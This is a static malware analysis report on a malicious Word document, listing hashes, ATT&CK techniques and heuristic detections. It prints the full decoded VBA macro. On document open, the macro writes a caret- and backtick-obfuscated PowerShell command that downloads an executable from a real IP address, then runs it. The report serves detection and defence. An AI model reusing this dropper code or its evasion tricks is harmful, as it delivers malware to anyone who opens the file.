Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 0ab967cedf8b0dad…

MALICIOUS

Office (OLE) / .DOC

629.0 KB Created: 2021-10-12 23:17:00 Authoring application: Microsoft Office Word First seen: 2021-10-23
MD5: 5a47c83afe361294f04dc2d1135a147f SHA-1: 0f6a703da0847040237fe866d0edfb2179f84d70 SHA-256: 0ab967cedf8b0dad891484aea1f1319fdf6360803f68cf11dcd4cedc79f015a4
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1105 Ingress Tool Transfer

The VBA macro in the document executes a PowerShell command to download a second-stage executable from the URL 'http://18.195.143.183/7/7/IMG_0211678531077.exe' and save it as 'C:\Users\Public\Documents\assumeever.exe'. The macro also writes the PowerShell command to 'C:\Users\Public\Documents\crimesee.cmd' before executing it.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Document_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    obh = CreateObject(sheee & "l.application").Open(publicrule)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 875 bytes
SHA-256: e1da69a739d39e60365dac0d0e7995e343e16e0716f5644c430a66add0f2a847
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
windowphysical = "pow^ers"
takenear = "he^ll"
wishalways = FreeFile
publicrule = "C:\Users\Public\Documents\crimesee.cm" & Chr(CLng(97.5) + CLng(1.6))
Open publicrule For Output As #wishalways
Print #wishalways, windowphysical & takenear & " -w hi slee^p -Se 31;Sta^rt-BitsTrans^fer -Source htt`p://18.195.143.183/7/7/IMG_0211678531077.e`xe" & " -Destination C:\Users\Public\Documents\assumeever.e`xe" & ";C:\Users\Public\Documents\assumeever.e`xe"
Close wishalways
sheee = "shel"
obh = CreateObject(sheee & "l.application").Open(publicrule)
End Sub

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